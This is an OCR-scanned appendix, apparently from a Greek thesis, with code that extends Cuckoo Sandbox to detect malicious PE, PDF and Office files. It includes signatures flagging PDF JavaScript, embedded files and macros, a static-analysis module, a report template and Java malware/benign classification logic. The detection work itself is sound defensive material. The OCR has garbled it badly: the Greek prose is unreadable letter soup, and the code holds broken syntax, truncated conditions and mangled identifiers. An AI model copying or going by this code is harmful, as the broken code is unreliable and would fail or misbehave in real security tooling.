name = "malicious_drop"
description = "Malicious Drop"
severity = 5
categories = ["online"]
authors = ["Christos Lyvas"]
minimum = "0.5"

def run(self):
if "dropped" in self.results:
for interator in self.results["dropped"]:
if str(interator["virustotal"]["value"]) is "Malicious":

return True
return False

Mpoacbnkn BiBA0ONKwv pdftools® kat peepdf’ oto pakelo cuckoo/lib/cuckoo/com-

mon Kat Poonkn ge 0Aoug Toug UTTIOPAKEAOLG apxeio e ovopaaoia _ init__.py

Apxeio: __init__.py

# Copyright (C) 2010-2015 Cuckoo Foundation.
# This file is part of Cuckoo Sandbox - http://www.cuckoosandbox.org
# See the file 'docs/LICENSE' for copying permission.

Metatpomnn Tou apxeiov static.py oto pakeAo cuckoo/modules/processing

# Copyright (C) 2010-2015 Cuckoo Foundation.
# This file is part of Cuckoo Sandbox - http://www.cuckoosandbox.org
# See the file 'docs/LICENSE' for copying permission.

¢ https://github.com/tomcarver/pdf-tools

7 https://code.google.com/p/peepdf/
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import json

import lib.cuckoo.common.office.olefile as olefile

import lib.cuckoo.common.office.vbadeobf as vbadeobf
import logging

import os

from datetime import datetime, date, time

try:
import magic
HAVE_MAGIC = True
except ImportError:
HAVE_MAGIC = False

try:
import pefile
import peutils
HAVE_PEFILE = True
except ImportError:
HAVE_PEFILE = False

try:
import PyV8
HAVE_PYVS8 = True
except ImportError:
HAVE_PYVS8 = False

try:
from M2Crypto import m2, BIO, X509, SMIME
HAVE_CRYPTO = True

except ImportError:
HAVE_CRYPTO = False

from lib.cuckoo.common.abstracts import Processing

from lib.cuckoo.common.constants import CUCKOO_ROOT
from lib.cuckoo.common.objects import File

from lib.cuckoo.common.office.oleid import OlelD

from lib.cuckoo.common.office.olevba import detect_autoexec
from lib.cuckoo.common.office.olevba import detect_hex_strings
from lib.cuckoo.common.office.olevba import detect_patterns
from lib.cuckoo.common.office.olevba import detect_suspicious
from lib.cuckoo.common.office.olevba import filter_vba

from lib.cuckoo.common.office.olevba import VBA_Parser

from lib.cuckoo.common.utils import convert_to_printable

from lib.cuckoo.common.pdftools.pdfid import PDFiD, PDFiD2JSON
from lib.cuckoo.common.peepdf.PDFCore import PDFParser
from lib.cuckoo.common.peepdf.JSAnalysis import analyseJS

log = logging.getLogger(__name_)

# Partially taken from
# http://malwarecookbook.googlecode.com/svn/trunk/3/8/pescanner.py

def _get_filetype(data):
"""Gets filetype, uses libmagic if available.
@param data: data to be analyzed.
@return: file type or None.
if not HAVE_MAGIC:
return None
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try:
ms = magic.open(magic.MAGIC_NONE)
ms.load()
file_type = ms.buffer(data)
except:
try:
file_type = magic.from_buffer(data)
except Exception:
return None
finally:
try:
ms.close()
except:
pass

return file_type

class PortableExecutable:
nnn PE analysis. nnn

def __init__(self, file_path):
"""@param file_path: file path."""
self.file_path = file_path
self.pe = None

def _get_peid_signatures(self):
"""Gets PEID signatures.
@return: matched signatures or None.
if not self.pe:
return None

try:
sig_path = os.path.join(CUCKOO_ROOT, "data",
"peutils", "UserDB.TXT")
signatures = peutils.SignatureDatabase(sig_path)
return signatures.match_all(self.pe, ep_only=True)
except:
return None

def _get_imported_symbols(self):
"""Gets imported symbols.
@return: imported symbols dict or None.
if not self.pe:
return None

imports =[]

if hasattr(self.pe, "DIRECTORY_ENTRY_IMPORT"):
for entry in self.pe.DIRECTORY_ENTRY_IMPORT:
try:

symbols =]

for imported_symbol in entry.imports:
symbol = {}
symbol["address"] = hex(imported_symbol.address)
symbol["name"] = imported_symbol.name
symbols.append(symbol)
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imports_section = {}
imports_section["dll"] = convert_to_printable(entry.dll)
imports_section["imports"] = symbols
imports.append(imports_section)

except:
continue

return imports

def _get_exported_symbols(self):
"""Gets exported symbols.
@return: exported symbols dict or None.
if not self.pe:
return None

exports =[]

if hasattr(self.pe, "DIRECTORY_ENTRY_EXPORT"):
for exported_symbol in self.pe.DIRECTORY_ENTRY_EXPORT.symbols:

symbol = {}

symbol["address"] = hex(self.pe.OPTIONAL_HEADER.ImageBase +
exported_symbol.address)

symbol["name"] = exported_symbol.name

symbol["ordinal"] = exported_symbol.ordinal

exports.append(symbol)

return exports

def _get_directory_entries(self):
"""Gets image directory entries.
@return: directory entries dict or None.
if not self.pe:
return None

dirents =[]

for entry in self.pe.OPTIONAL_HEADER.DATA_DIRECTORY:
dirent = {}
dirent["name"] = entry.name
dirent["virtual_address"] = "0x{0:08x}".format(entry.VirtualAddress)
dirent["size"] = "0x{0:08x}".format(entry.Size)
dirents.append(dirent)

return dirents

def _get_sections(self):
"""Gets sections.
@return: sections dict or None.

if not self.pe:
return None

sections =[]

for entry in self.pe.sections:

try:
section = {}
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section["name"] = convert_to_printable(entry.Name.strip("\x00"))
section["virtual_address"] = "0x{0:08x}".format(entry.VirtualAddress)
section["virtual_size"] = "0x{0:08x}".format(entry.Misc_VirtualSize)
section["size_of_data"] = "0x{0:08x}".format(entry.SizeOfRawData)
section["entropy"] = "{0:.02f}".format(float(entry.get_entropy()))
sections.append(section)

except:
continue

return sections

def _get_overlay(self):
"""Get information on the PE overlay
@return: overlay dict or None.
if not self.pe:
return None

off = self.pe.get_overlay_data_start_offset()
if off is None:
return None
overlay = {}
overlay["offset"] = "0x{0:08x}".format(off)
overlay["size"] = "0x{0:08x}".format(len(self.pe.__data__) - off)

return overlay

def _get_resources(self):
"""Get resources.
@return: resources dict or None.
if not self.pe:
return None

resources = []

if hasattr(self.pe, "DIRECTORY_ENTRY_RESOURCE"):
for resource_type in self.pe.DIRECTORY_ENTRY_RESOURCE.entries:
try:
resource = {}

if resource_type.name is not None:
name = str(resource_type.name)
else:
name = str(pefile. RESOURCE_TYPE.get(resource_type.struct.ld))

if hasattr(resource_type, "directory"):
for resource_id in resource_type.directory.entries:
if hasattr(resource_id, "directory"):
for resource_lang in resource_id.directory.entries:
data = self.pe.get_data(resource_lang.data.struct.OffsetToData, resource_lang.da-
ta.struct.Size)
filetype = _get_filetype(data)
language = pefile.LANG.get(resource_lang.data.lang, None)
sublanguage = pefile.get_sublang_name_for_lang(resource_lang.data.lang, re-
source_lang.data.sublang)

resource['name"] = name
resource["offset"] = "0x{0:08x}".format(resource_lang.data.struct.OffsetToData)
resource["size"] = "0x{0:08x}".format(resource_lang.data.struct.Size)

80



resource["filetype"] = filetype
resource["language"] = language
resource["sublanguage"] = sublanguage
resources.append(resource)
except:
continue

return resources

def _get_versioninfo(self):
"""Get version info.
@return: info dict or None.
if not self.pe:
return None

infos =[]
if hasattr(self.pe, "VS_VERSIONINFO"):
if hasattr(self.pe, "FileInfo"):
for entry in self.pe.Filelnfo:
try:
if hasattr(entry, "StringTable"):
for st_entry in entry.StringTable:
for str_entry in st_entry.entries.itemsi):

entry = {}
entry["name"] = convert_to_printable(str_entry[0])
entry["value"] = convert_to_printable(str_entry[1])
infos.append(entry)

elif hasattr(entry, "Var"):

for var_entry in entry.Var:
if hasattr(var_entry, "entry"):
entry = {}
entry["name"] = convert_to_printable(var_entry.entry.keys()[0])
entry["value"] = convert_to_printable(var_entry.entry.values()[0])
infos.append(entry)
except:
continue

return infos

def _get_imphash(self):
"""Gets imphash.
@return: imphash string or None.
if not self.pe:
return None

try:

return self.pe.get_imphash()
except AttributeError:

return None

def _get_timestamp(self):
"""Get compilation timestamp.
@return: timestamp or None.
if not self.pe:
return None
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try:

pe_timestamp = self.pe.FILE_HEADER.TimeDateStamp
except AttributeError:

return None

return datetime.fromtimestamp(pe_timestamp).strftime(" % Y-%m-%d %H:%M:%S")

def run(self):
"""Run analysis.
@return: analysis results dict or None.
if not os.path.exists(self.file_path):
return None

try:

self.pe = pefile.PE(self.file_path)

except pefile.PEFormatError:
return None

results = {}

results["peid_signatures"] = self._get_peid_signatures()
results["pe_imports"] = self._get_imported_symbols()
results["pe_exports"] = self._get_exported_symbols()
results["pe_dirents"] = self._get_directory_entries()
results["pe_sections"] = self._get_sections()
results["pe_overlay"] = self._get_overlay()
results["pe_resources"] = self._get_resources()
results["pe_versioninfo"] = self._get_versioninfo()
results["pe_imphash"] = self._get_imphash()
results["pe_timestamp"] = self._get_timestamp()
results["imported_dll_count"] = len([x for x in results["pe_imports"] if x.get("dll")])

if HAVE_CRYPTO:
address = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[pefile. DIRECTORY_ENTRY['IMAGE_DI-
RECTORY_ENTRY_SECURITY"]].VirtualAddress

#check if file is digitally signed
if address == 0:
return results

signature = self.pe.write()[address+8:]
bio = BIO.MemoryBuffer(signature)

if bio:
swig_pkcs7 = m2.pkcs7_read_bio_der(bio.bio_ptr()

if swig_pkcs7:

p7 = SMIME.PKCS7(swig_pkcs7)

xst = p7.get0_signers(X509.X509_Stack())

results["digital_signer"] = {}

if xst:

for cert in xst:

sn = cert.get_serial_number()
subject_str = str(cert.get_subject()
cn = subject_str[subject_str.index("/CN=")+len("/CN="):]
results["digital_signer"] = [{"sn":str(sn), "cn":cn}]

return results

class PDF:
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"""PDF Analysis."""

def __init__(self, file_path):
self.file_path = file_path
self.pdf = None

def _parse(self, filepath):
"""Parses the PDF for static information. Uses PyV8 from peepdf to
extract JavaScript from PDF objects.
@param filepath: Path to file to be analyzed.
@return: results dict or None.
# Load the PDF with PDFiD and convert it to JSON for processing
pdf_data = PDFiD(filepath, False, True)
pdf_json = PDFiD2JSON(pdf_data, True)
pdfid_data = json.loads(pdf_json)[0]

info = {}

info["PDF Header"] = pdfid_data['pdfid']['header’]

info["Total Entropy"] = pdfid_data['pdfid']['totalEntropy']

info['Entropy In Streams'] = pdfid_data['pdfid']['streamEntropy']
info['Entropy Out Streams'] = pdfid_data['pdfid']['nonStreamEntropy']
info['Count % % EOF'] = pdfid_data['pdfid']['countEof']

info['Data After EOF'] = pdfid_data['pdfid']['countChatAfterLastEof']
dates = pdfid_data['pdfid']['dates']['date’]

# Get streams, counts and format.

streams = {}

for stream in pdfid_data['pdfid']['keywords']['keyword']:
streams(str(stream['name'])] = stream['count']

result = {}

result["Info"] = info
result["Dates"] = dates
result["Streams"] = streams

log.debug("About to parse with PDFParser")
parser = PDFParser()

ret, pdf = parser.parse(filepath, True, False)
objects =[]

retobjects = []

count=0

object_counter = 1

for i in range(len(pdf.body)):
body = pdf.body[count]
objects = body.objects

for index in objects:
oid = objects[index].id
offset = objects[index].offset
size = objects[index].size
details = objects[index].object

obj_data = {}
obj_data["Object ID"] = oid
obj_data["Offset"] = offset
obj_data["Size"] = size
if details.type == 'stream":
encoded_stream = details.encodedStream
decoded_stream = details.decodedStream
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obj_data["File Type"] = _get_filetype(decoded_stream)[:100]
if HAVE_PYV8:
try:
jsdata = analyseJS(decoded_stream.strip())[0][0]
except Exception,e:
jsdata = "PyV8 failed to parse the stream."
if jsdata == None:
jsdata = "PyV8 did not detect JavaScript in the stream. (Possibly encrypted)"

# The following loop is required to "JSONify" the strings returned from PyV8.
# As PyV8 returns byte strings, we must parse out bytecode and
# replace it with an escape '\'. We can't use encode("string_escape")
# as this would mess up the new line representation which is used for
# beautifying the javascript code for Django's web interface.
ret_data=""
for i in xrange(len(jsdata)):
if ord(jsdatal[i]) > 127:
tmp = "\\x" + str(jsdata[i].encode("hex"))
else:
tmp = jsdata]i]
ret_data +=tmp
else:
ret_data = "PyV8 not installed, unable to extract JavaScript."

obj_data["Data"] = ret_data
retobjects.append(obj_data)
object_counter += 1

else:
obj_data["File Type"] = "Encoded"
obj_data["Data"] = "Encoded"
retobjects.append(obj_data)

count +=1
result["Objects"] = retobjects
return result

def run(self):
"""Run analysis.
@return: analysis results dict or None.
if not os.path.exists(self.file_path):

return None

log.debug("Starting to load PDF")
results = self._parse(self.file_path)
return results

class Office():
"""Office Document Static Analysis
def __init__(self, file_path):
self.file_path = file_path
self.office = None

# Parse a string-casted datetime object that olefile returns. This will parse
# multiple types of timestamps including when a date is provide without a
# time.
def convert_dt_string(self, string):

ctime = string.replace("datetime.datetime”, "")

ctime = ctime.replace("(","")

ctime = ctime.replace(")","")
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ctime = "".join(ctime).split(", ")
# Parse date, set to None if we don't have any/not enough data
if len(ctime) >= 3:
docdate = date(int(ctime[0Q]), int(ctime[1]), int(ctime[2])).strftime("%B %d, %Y")
else:
docdate = None
# Parse if we are missing minutes and seconds field
if len(ctime) == 4:
doctime = time(int(ctime[3])).strftime(" %H")
# Parse if we are missing seconds field
elif len(ctime) ==
doctime = time(int(ctime[3]), int(ctime[4])).strftime(" % H:%M")
# Parse a full datetime string
elif len(ctime) ==
doctime = time(int(ctime[3]), int(ctime[4]), int(ctime[5])).strftime("%H:%M:%S")
else:
doctime = None

if docdate and doctime:

return docdate + " " + doctime
elif docdate:

return docdate
else:

return "None"

def _parse(self, filepath):
"""Parses an office document for static information.
Currently (as per olefile) the following formats are supported:
- Word 97-2003 (.doc, .dot), Word 2007+ (.docm, .dotm)
- Excel 97-20083 (.xls), Excel 2007+ (.xIlsm, .xIsb)
- PowerPoint 2007+ (.pptm, .ppsm)

@param filepath: Path to the file to be analyzed.
@return: results dict or None

results = dict()
vba = VBA_Parser(filepath)
results["Metadata"] = dict()
# The bulk of the metadata checks are in the OLE Structures
# So don't check if we're dealing with XML.
if olefile.isOleFile(filepath):
ole = olefile.OleFilelO(filepath)
meta = ole.get_metadata()
results["Metadata"] = meta.get_metal)
# Fix up some output formatting
buf = self.convert_dt_string(results["Metadata"]["Summarylnformation"]["create_time"])
results["Metadata"]["Summarylnformation"]["create_time"] = buf
buf = self.convert_dt_string(results["Metadata"]["Summarylnformation"]["last_saved_time"])
results["Metadata"]["Summarylnformation"]["last_saved_time"] = buf
ole.close()
if vba.detect_vba_macros():
results["Metadata"]["HasMacros"] = "Yes"
results["Macro"] = dict()
results["Macro"]["Code"] = dict()
ctr=0
# Create IOC and category vars. We do this before processing the
# macro(s) to avoid overwriting data when there are multiple
# macros in a single file.
results["Macro"]["Analysis"] = dict()

85



results["Macro"]["Analysis"]["AutoExec"] = list()
results["Macro"]["Analysis"]["Suspicious"] = list()
results["Macro"]["Analysis"]["IOCs"] = list()
results["Macro"]["Analysis"]["HexStrings"] = list()
for (subfilename, stream_path, vba_filename, vba_code) in vba.extract_macros|():
vba_code = filter_vba(vba_code)
if vba_code.strip() 1= ""
# Handle all macros
ctr +=1
outputname = "Macro" + str(ctr)
results["Macro"]["Code"][outputname] = list()
results["Macro"]["Code"][outputname].append((convert_to_printable(vba_filename),convert_-
to_printable(vba_code)))
autoexec = detect_autoexec(vba_code)
suspicious = detect_suspicious(vba_code)
iocs = vbadeobf.parse_macro(vba_code)
hex_strs = detect_hex_strings(vba_code)
if autoexec:
for keyword, description in autoexec:
results["Macro"]["Analysis"]["AutoExec"].append((keyword, description))
if suspicious:
for keyword, description in suspicious:
results["Macro"]["Analysis"]["Suspicious"].append((keyword, description))
if iocs:
for pattern, match in iocs:
results["Macro"]["Analysis"]["|OCs"].append((pattern, match))
if hex_strs:
for encoded, decoded in hex_strs:
results["Macro"]["Analysis"]["HexStrings"].append((encoded, decoded))
# Delete and keys which had no results. Otherwise we pollute the
# Django interface with null data.
if results["Macro"]["Analysis"]["AutoExec"] == []:
del results["Macro"|["Analysis"]["AutoExec"]
if results["Macro"]["Analysis"]["Suspicious"] == []:
del results["Macro"]["Analysis"]["Suspicious"]
if results["Macro"]["Analysis"]["IOCs"] == []:
del results["Macro"]["Analysis"]["IOCs"]
if results["Macro"]["Analysis"]["HexStrings"] == []:
del results["Macro"|["Analysis"]["HexStrings"]

else:
results["Metadata"]["HasMacros"] = "No"

oleid = OlelD(filepath)
indicators = oleid.check()
for indicator in indicators:
if indicator.name == "Word Document" and indicator.value == True:
results["Metadata"]["DocumentType"] = indicator.name

if indicator.name == "Excel Workbook" and indicator.value == True:
results["Metadata"]["DocumentType"] = indicator.name
if indicator.name == "PowerPoint Presentation" and indicator.value == True:

results["Metadata"]["DocumentType"] = indicator.name
return results

def run(self):
"""Run analysis.
@return: analysis results dict or None.

if not os.path.exists(self.file_path):
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return None
results = self._parse(self.file_path)
return results

class Static(Processing):
"""Static analysis."""

def run(self):
"""Run analysis.
@return: results dict.
self.key = "static"
static = {}

if self.task["category"] == "file":

thetype = File(self.file_path).get_type()

if HAVE_PEFILE and ("PE32" in thetype or thetype == "MS-DOS executable"):
static = PortableExecutable(self.file_path).run()

elif "PDF" in thetype:
static = PDF(self.file_path).run()

elif "Word 2007" in thetype or "Excel 2007" in thetype or "PowerPoint 2007" in thetype:
static = Office(self.file_path).run()

elif "Composite Document File" in thetype:
static = Office(self.file_path).run()

# It's possible to fool libmagic into thinking our 2007+ file is a

# zip. So until we have static analysis for zip files, we can use

# oleid to fail us out silently, yeilding no static analysis

# results for actual zip files.

elif "Zip archive data, at least v2.0" in thetype:
static = Office(self.file_path).run()

return static

Metatponn apxeiov static.html oto pakelo cuckoo/data/html/sections/

<section id="static">
<div class="section-title">
<h4>Static Analysis</h4>
</div>
{% if results.static %}
{% if results.static.pe_versioninfo %}
<div>
<h4><a href="javascript:showHide('pe_versioninfo');">Version Infos</a></h4>
<div id="pe_versioninfo" style="display: none;">
<table class="table table-striped table-bordered">
<colgroup>
<col width="150" />
<col width="*" />
</colgroup>
{% for info in results.static.pe_versioninfo %}
<tr>
<td><strong>{{info.name}}</strong>:</td>
<td><span class="mono">{{info.value}}</span></td>
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</tr>
{% endfor %}
</table>
</div>
</div>
{% endif %}

{% if results.static %}
{% if results.static.Metadata %}
{% if results["static"]["Metadata"]["HasMacros"] == "Yes" %}
<div>
<h4><a href="javascript:showHide('macros');">Macros</a></h4>
<div id="macros" style="display: none;">
<table class="table table-striped table-bordered">
<colgroup>
<col width="150" />
<col width="*" />
</colgroup>
{% for element in results.static.Macro.Code %}
<tr>
<th>{{element}}</th>
<td><span class="mono">{{results["static"]["Macro"]
["Code"][element]}}</span></td>
</tr>
{% endfor %}
</table>
</div>
</div>
{% endif %}
{% endif %}
{% endif %}

{% if results.static %}
{% if results.static.Streams %]}
<div>
<h4><a href="javascript:showHide('structure');">Structure</a></h4>
<div id="structure" style="display: none;">
<table class="table table-striped table-bordered">
<colgroup>
<col width="150" />
<col width="*" />
</colgroup>

<tr>
<th>AcroForm</th>
<td><span class="mono">{{results["static"]
["Streams"]["/AcroForm"]}}</span></td>
</tr><tr>
<th>Colors</th>
<td><span class="mono">{{results["static"]
["Streams"]["/Colors > 2/24"|}}</span></td>
</tr><tr>
<th>Xref</th>
<td><span class="mono">{{results.static.Stream-
s.xref}}</span></td>
</tr>
<tr>
<th>Objects</th>
<l-->
<td>
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<a id="virustotal_lbl"

href="javascript:showHide('Objects');">{{results.static.Streams.obj}}</a>

none;margin-top: 5px;">

ble-condensed">

["Objects"] %}

ement["Object ID"]}}</span></td>
ement["Size"]}}</span></td>
ement["File Type"]}}</span></td>

ement["Offset"]}}</span></td>

["Streams"]["/JS"]}}</span></td>

s.stream}}</span></td>

s.endobj}}</span></td>

<div id="Objects" style="display:
<table class="table table-bordered ta-

<tr>
<th>Object ID</th>
<th>Size</th>
<th>File Type</th>
<th>Offset</th>

</tr>
{% for element in results["static"]

<tr>
<td><span class="mono">{{el-

<td><span class="mono">{{el-
<td><span class="mono">{{el-
<td><span class="mono">{{el-

</tr>
{% endfor %}
</table>
</div>

</td>
<l-->
</tr><tr>
<th>JS</th>
<td><span class="mono">{{results["static"]

</tr><tr>
<th>Streams</th>
<td><span class="mono">{{results.static.Stream-

</tr><tr>
<th>End Object</th>
<td><span class="mono">{{results.static.Stream-

</tr><tr>
<th>Open Action</th>
<td><span class="mono">{{results["static"]

["Streams"]["/OpenAction"]}}</span></td>

["Streams"]["/Launch"]}}</span></td>

</tr><tr>
<th>Launch</th>
<td><span class="mono">{{results["static"]

</tr><tr>
<th>JavaScript</th>
<td><span class="mono">{{results["static"]

["Streams"]["/JavaScript"]}}</span></td>

s.endstream}}</span></td>

</tr><tr>
<th>End Stream</th>
<td><span class="mono">{{results.static.Stream-

</tr><tr>
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<th>Pages</th>
<td><span class="mono">{{results["static"]
["Streams"]["/Page"]}}</span></td>
</tr><tr>
<th>Rich Media</th>
<td><span class="mono">{{results["static"]
["Streams"]["/RichMedia"|}}</span></td>
</tr><tr>
<th>Startxref</th>
<td><span class="mono">{{results.static.Stream-
s.startxref}}</span></td>
</tr><tr>
<th>Encrypt</th>
<td><span class="mono">{{results["static"]
["Streams"]["/Encrypt"]}}</span></td>
</tr><tr>
<th>AA</th>
<td><span class="mono">{{results["static"]
["Streams"]["/AA"}}</span></td>
</tr><tr>
<th>XFA</th>
<td><span class="mono">{{results["static"]
["Streams"]["/XFA"]}}</span></td>
</tr><tr>
<th>ObjectStm</th>
<td><span class="mono">{{results["static"]
["Streams"]["/ObjStm"]}}</span></td>
</tr><tr>
<th>JBIG2Decode</th>
<td><span class="mono">{{results["static"]
["Streams"]["/JBIG2Decode"|}}</span></td>
</tr><tr>
<th>Trailer</th>
<td><span class="mono">{{results.static.Stream-
s.trailer}}</span></td>
</tr>

</table>
</div>
</div>
{% endif %}
{% endif %}

{% if results.static.pe_sections %}
<div>
<h4><a href="javascript:showHide('pe_sections');">Sections</a></h4>
<div id="pe_sections" style="display: none;">
<table class="table table-striped table-bordered">
<tr>
<th>Name</th>
<th>Virtual Address</th>
<th>Virtual Size</th>
<th>Size of Raw Data</th>
<th>Entropy</th>
</tr>
{% for section in results.static.pe_sections %}
<tr>
<td>{{section.name}}</td>
<td>{{section.virtual_address}}</td>
<td>{{section.virtual_size}}</td>
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<td>{{section.size_of_data}}</td>
<td>{{section.entropy}}</td>
</tr>
{% endfor %}
</table>
</div>
</div>
{% endif %}

{% if results.static.pe_overlay %}
<div>
<h4><a href="javascript:showHide('pe_overlay');">Overlay</a></h4>
<div id="pe_overlay" style="display: none;">
<table class="table table-striped table-bordered">
<colgroup>
<col width="150" />
<col width=""" />
</colgroup>
<tr>
<td><strong>Offset</strong>:</td>
<td>{{results.static.pe_overlay.offset}}</td>
</tr>
<tr>
<td><strong>Size</strong>:</td>
<td>{{results.static.pe_overlay.size}}</td>
</tr>
</table>
</div>
</div>
{% endif %}

{% if results.static.pe_resources %}
<div>
<h4><a href="javascript:showHide('pe_resources');">Resources</a></h4>
<div id="pe_resources" style="display: none;">
<table class="table table-striped table-bordered">
<tr>
<th>Name</th>
<th>Offset</th>
<th>Size</th>
<th>Language</th>
<th>Sub-language</th>
<th>File type</th>
</tr>
{% for section in results.static.pe_resources %}
<tr>
<td>{{section.name}}</td>
<td>{{section.offset}}</td>
<td>{{section.size}}</td>
<td>{{section.language}}</td>
<td>{{section.sublanguage}}</td>
<td>{{section.filetype}}</td>
</tr>
{% endfor %}
</table>
</div>
</div>
{% endif %}

{% if results.static.pe_imports %}
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<div>
<h4><a href="javascript:showHide('pe_imports');">Imports</a></h4>
<div id="pe_imports" style="display: none;">
{% for library in results.static.pe_imports %}
<div class="well">
<div><strong>Library {{library.dll}}</strong>:</div>
{% for function in library.imports %}
<div>&bull; <span class="mono">{{function.address}}</span> - {{function.name}}</
div>
{% endfor %}
</div>
{% endfor %}
</div>
</div>
{% endif %}

{% if results.static.pe_exports %}
<div>
<h4><a href="javascript:showHide('pe_exports');">Exports</a></h4>
<div id="pe_exports" style="display: none;">
<table class="table table-striped table-bordered">
<tr>
<th>Ordinal</th>
<th>Address</th>
<th>Name</th>
</tr>
{% for export in results.static.pe_exports %}
<tr>
<td>{{export.ordinal}}</td>
<td>{{export.address}}</td>
<td>{{export.name}}</td>
</tr>
{% endfor %}
</table>
</div>
</div>
{% endif %}

{% if results.strings %}
<div>
<h4><a href="javascript:showHide('strings');">Strings</a></h4>
<div id="strings" style="display: none;">
{% for str in results.strings %}
<div><span class="mono">{{str}}</span></div>
{% endfor %}
</div>
</div>
{% endif %}

{% else %}
Nothing to display.
{% endif %}
</section>

Anuouvpyia tov apxeiov malformed_pdf (Cuckoo Signature malicious_drop) oto

¢dakelo cuckoo/modules/signatures/
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from lib.cuckoo.common.abstracts import Signature

class malformed_pdf(Signature):
name = "malformed_pdf"
description = "Malformed PDF"
severity =5
categories = ["static"]
authors = ["Christos Lyvas"]
minimum = "0.5"

def run(self):

if "static" in self.results:
if "Streams" in self.results["static"]:

if self.results["static"]["Streams"]["/JavaScript"] > 0:
return True

if self.results["static"]["Streams"]["/JS"] > O:
return True

if self.results["static"]["Streams"]["/EmbeddedFile"] > 0:
return True

if self.results["static"]["Streams"]["/Encrypt"] > O:
return True

return False

Anpouvpyia touv apxeiov pdf embeded._file.py (Cuckoo Signature malicious_drop)

oto pakelo cuckoo/modules/signatures/

from lib.cuckoo.common.abstracts import Signature

class pdf_embeded_file(Signature):
name = "pdf_embeded_file"
description = "PDF With Embeded File"
severity =5
categories = ["pdf"]
authors = ["Christos Lyvas"]
minimum = "0.5"

def run(self):
if "static" in self.results:
if self.results["target"]["category"] == "file":
if "PDF" in self.results["target"]["file"]["type"]:
if self.results["static"]["Objects"]:
for element in self.results["static"]["Objects"]:
if str(element["File Type"]).split(" ")[0] == "HTML" or str(element["File
Type"]).split(" ")[0] == "PE32" or str(element["File Type"]).split(" ")[0] == "MS-DOS":
return True

return False
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MpooOnkn BiPA0ONRKNG office? oto pakelo office cuckoo/lib/cuckoo/common kat
Snuovpyia apxeiov pe ovopacia _ init_ .py otov vmogpdakelo. O1 mpooOnkeg yia
apxeia popdng OLE mepiypadovrat cuvoAlka pe avtég Twv apxeiwv PDF otnv

evotnta N.2.4

Apxeio: __init__.py

# Copyright (C) 2010-2015 Cuckoo Foundation.
# This file is part of Cuckoo Sandbox - http://www.cuckoosandbox.org
# See the file 'docs/LICENSE' for copying permission.

O mnyaiog kwdikag NG edappoyng Sphinx eivar elevBépa OlaBeoog otov
lototorto Github otov ouvdeopo https://github.com/xphctos/. 2tnv evétnta auvth
neplypagetal o tpomnog mnov diacvvdeetal To Cuckoo Sandbox pe 1o gpyaieio Sphinx.
Apxika To Sphinx gival rmpoypappatiopevo va artooteAAel (HTTP POST) 1o umnd avaiuon
apxeio oto Cuckoo Sandbox péao tou API rou d1aB€Tel, KATOTIV TIPAYHATOTIOIEL AITrpaTa
ava Oekamevte OEVTEPOAETITA yla TO av N avaivon oAokAnpwbnke. Otav auvtd oupPei
TOTE akoAouBei aitnua (HTTP GET) mou and tnv avaAvon €vog apxeiou TouL
artooteAAovtal ol vnoypadeg-eldotmoioelg(Cuckoo Signatures) kat otn mopeia pe Pdaon
AAYopPIBUIKAG AOYIKNAG Ole€AyeTal TO CUUTIEPACHA YIA TO av TO LTIO avAAuLOn apxeio eival n
OxL lopopdr. 2tn Tmopeia akoAouvBei aitnua (HTTP GET) pe to omoio Aaufdvetat n
avapopd Cuckoo oe popdr) HTML kat arobnkevetal oto pAakeAo TG edpappoyng(Sphinx).
TENOG adov €xouvv OAOKANPwOEL Ta Ttaparndvw Kat yia e§0IKOVOUNOoN XWEOUL ArOoTEAAETAL
aitnua (HTTP GET) oto API yia Swaypadrn tng tpeEXxovoag avadopdg kKal OAwv Twv

oTolXeiwv TIov dnuovpynoe To Cuckoo yla Tnv avaiuvon.

MpoacBnikn apxeiov api.py oto pakelo cuckoo/utils/

#Get Only Signatures
@route("/tasks/signatures/<task_id:int>", method="GET")
def cuckoo_signatures(task_id):

8 NephapPavel Ta wdeAipa apyeia olefile.py olefile2.py oleid.py olevba.py vbadeobf.py Dridex-
UrlDecoder.py tng oovitag Aoylopikou oletools diaBeoipa otov otétomno https://bitbucket.org/de-
calage/oletools/downloads
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#results = {}
file_path = os.path.join(CUCKOO_ROQOT, "storage", "analyses",
"%d" % task_id, "reports”, "report.json")
if os.path.exists(file_path):
#response.content_type = "application/octet-stream; charset=UTF-8"
try:

results = json.loads(open(file_path, "rb").read()
response = []|
for element in results["signatures"]:
response.append({'name': element["'name"], 'severity' : element["severity"]})
return jsonize(response)

except:
return HTTPError(500, "An error occurred while extracting signatures")
else:
return HTTPError(404, "File not found")

Anoonaopa oe Java mnyaiov Kwdika Sphinx yia tTnv katnyoptonoinon (1:Malware, 0:
Benign) apxeiwv (PE32, OLE, PDF) pe Baon Tt unoypadeg-€1500TOINOEI TIOL
napayet To gpyaleio Cuckoo Sandbox.

if(signatures.isEmpty())

{
ret = 0;
}
else
{
if((fileType.equals("PE32"))||(fileType.equals("MS-D0OS")))
{
if((signatures.contains("malicious_connection"))||(signatures.contains("malicious_drop")))
{
ret = 1;
}
else
{
if((signatures.contains("static_authenticode")))
{
ret =0;
}
else
{
ret = 1;
}
}
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}
else if(fileType.equals("PDF"))

{

if((signatures.contains("malicious_connection"))||(signatures.contains("malicious_drop")))

{

ret =1;

}

else

{

if((signatures.contains("malformed_pdf"))||(signatures.contains("pdf_embeded_file")))

{

ret =1;

}

else

{
ret = 0;

}
else if(fileType.equals("Microsoft Word"))

{

if((signatures.contains("malicious_connection"))||(signatures.contains("malicious_drop")))

{

ret =1;

}

else

{

if((signatures.contains("office_macro")))

{

ret = 1;

}

else

{
ret = 0;

else

ret = 0;
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